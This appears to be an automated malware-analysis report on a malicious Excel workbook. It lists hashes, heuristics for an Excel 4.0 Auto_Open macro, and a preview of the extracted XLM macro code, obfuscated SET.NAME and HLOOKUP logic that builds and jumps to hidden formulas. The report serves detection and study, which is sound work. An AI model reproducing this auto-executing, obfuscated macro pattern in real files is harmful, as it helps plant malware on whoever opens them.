Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35a95b9ecdc040a3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:05 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 2c80a53f188340b01a68b6e03c10ebcd SHA-1: 27ed00cddc4f2c9979c8980457510ed249f7c938 SHA-256: 35a95b9ecdc040a3ff8a199916cd1a6779e588cb22d44fa9be12de2dab2cb445
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6717 bytes
SHA-256: 5e008fb5e417380e6d2892117267bc685f80d0f11752b33b129d467d4faf5fbe
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oHiXkx
' 0018     27 LABEL : Cell Value, String Constant - aoPJlkzehIcT len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G170 
' 0018     25 LABEL : Cell Value, String Constant - DePbAhABcT len=0 
' 0018     25 LABEL : Cell Value, String Constant - dGrrtAElYD len=0 
' 0018     26 LABEL : Cell Value, String Constant - geYMiJIPMba len=0 
' 0018     26 LABEL : Cell Value, String Constant - glHeKDVIYBE len=0 
' 0018     25 LABEL : Cell Value, String Constant - gvhcLDJOLG len=0 
' 0018     24 LABEL : Cell Value, String Constant - HDSuyfQWK len=0 
' 0018     23 LABEL : Cell Value, String Constant - JZPPbVPq len=0 
' 0018     21 LABEL : Cell Value, String Constant - OGztSb len=0 
' 0018     22 LABEL : Cell Value, String Constant - PBnbmju len=0 
' 0018     23 LABEL : Cell Value, String Constant - PRhHDIec len=0 
' 0018     27 LABEL : Cell Value, String Constant - qBRAKxlhLhBn len=0 
' 0018     20 LABEL : Cell Value, String Constant - roihC len=0 
' 0018     27 LABEL : Cell Value, String Constant - SIVnasfhMhPQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - sWidECyRj len=0 
' 0018     22 LABEL : Cell Value, String Constant - uogrjXf len=0 
' 0018     26 LABEL : Cell Value, String Constant - xqkPVARQvCz len=0 
' 0018     27 LABEL : Cell Value, String Constant - YbnolVeaZlOM len=0 
' 0018     22 LABEL : Cell Value, String Constant - yXSahVE len=0 
' 0018     27 LABEL : Cell Value, String Constant - zFMRUKBIAYsy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oHiXkx,G76,"SET.NAME("HDSuyfQWK",0+VALUE("0"))",""
'  oHiXkx,G81,"SET.NAME("roihC",HDSuyfQWK)",""
'  oHiXkx,G86,"SET.NAME("uogrjXf",HDSuyfQWK)",""
'  oHiXkx,G91,"SET.NAME("gvhcLDJOLG",COUNTA(xqkPVARQvCz))",""
'  oHiXkx,G94,"SET.NAME("YbnolVeaZlOM",COUNTA(glHeKDVIYBE))",""
'  oHiXkx,R97,"",-699.00000000000000000000
'  oHiXkx,R98,"",-50.00000000000000000000
'  oHiXkx,G99,[],""
'  oHiXkx,R99,"",192.00000000000000000000
'  oHiXkx,R100,"",-504.00000000000000000000
'  oHiXkx,G101,"SET.NAME("geYMiJIPMba","")",""
'  oHiXkx,R101,"",-679.00000000000000000000
'  oHiXkx,R102,"",-340.00000000000000000000
'  oHiXkx,G104,"roihC",""
'  oHiXkx,G106,"SET.NAME("SIVnasfhMhPQ",HLOOKUP("*",xqkPVARQvCz,roihC,FALSE))",""
'  oHiXkx,G110,"aoPJlkzehIcT",""
'  oHiXkx,G114,"SET.NAME("JZPPbVPq",HDSuyfQWK)",""
'  oHiXkx,G116,[],""
'  oHiXkx,G121,"JZPPbVPq",""
'  oHiXkx,G124,"dGrrtAElYD",""
'  oHiXkx,G128,"qBRAKxlhLhBn",""
'  oHiXkx,G133,"sWidECyRj",""
'  oHiXkx,G137,"SET.NAME("zFMRUKBIAYsy",VALUE(HLOOKUP("*",glHeKDVIYBE,sWidECyRj,FALSE)))",""
'  oHiXkx,G141,"DePbAhABcT",""
'  oHiXkx,G144,"geYMiJIPMba",""
'  oHiXkx,G146,"uogrjXf",""
'  oHiXkx,G150,NEXT(),""
'  oHiXkx,G153,"yXSahVE",""
'  oHiXkx,G157,[],""
'  oHiXkx,G161,"OGztSb",""
'  oHiXkx,G166,NEXT(),""
'  oHiXkx,G168,RETURN(),""
'  oHiXkx,G196,"SET.NAME("PBnbmju",G76)",""
'  oHiXkx,G198,"xqkPVARQvCz",""
'  oHiXkx,G200,"SET.NAME("glHeKDVIYBE",R54C13)",""
'  oHiXkx,G205,"SET.NAME("OGztSb",215)",""
'  oHiXkx,G209,"SET.NAME("PRhHDIec",7)",""
'  oHiXkx,G214,PBnbmju(),""
'  oHiXkx,G215,HALT(),""

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